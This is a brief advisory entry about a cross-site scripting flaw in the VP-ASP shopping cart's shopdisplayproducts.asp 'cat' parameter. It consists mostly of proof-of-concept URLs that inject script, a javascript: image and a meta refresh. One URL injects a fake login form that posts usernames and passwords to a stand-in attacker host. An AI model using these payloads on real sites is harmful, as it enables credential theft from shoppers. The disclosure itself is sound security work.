|
Virtual Programming VP-ASP shopdisplayproducts.asp Cross-Site Scripting Vulnerability
The following proofs-of-concept have been made available: http://www.example.com/shopping/shopdisplayproducts.asp?id=1&cat=[XSS Code] http://www.example.com/shopping/shopdisplayproducts.asp?id=1&cat=<script>alert('test')</script> http://www.example.com/vpasp/shopdisplayproducts.asp?id=5&cat=<img%20src="javascript:alert('XSS')"> http://www.example.com/vpasp/shopdisplayproducts.asp?id=5&cat=<meta%20http-equiv='refresh'content='0'> http://www.example.com/vpasp/shopdisplayproducts.asp?id=5&cat=<form%20action="http://www.evilhacker.com/save2db.asp"%20method="post">Username:<input%20name="username"%20type="text"%20maxlength="30"><br>Password:<input%20name="password"%20type="text"%20maxlength="30"><br><input%20name="login"%20type="submit"%20value="Login"></form> |
|
|
Privacy Statement |
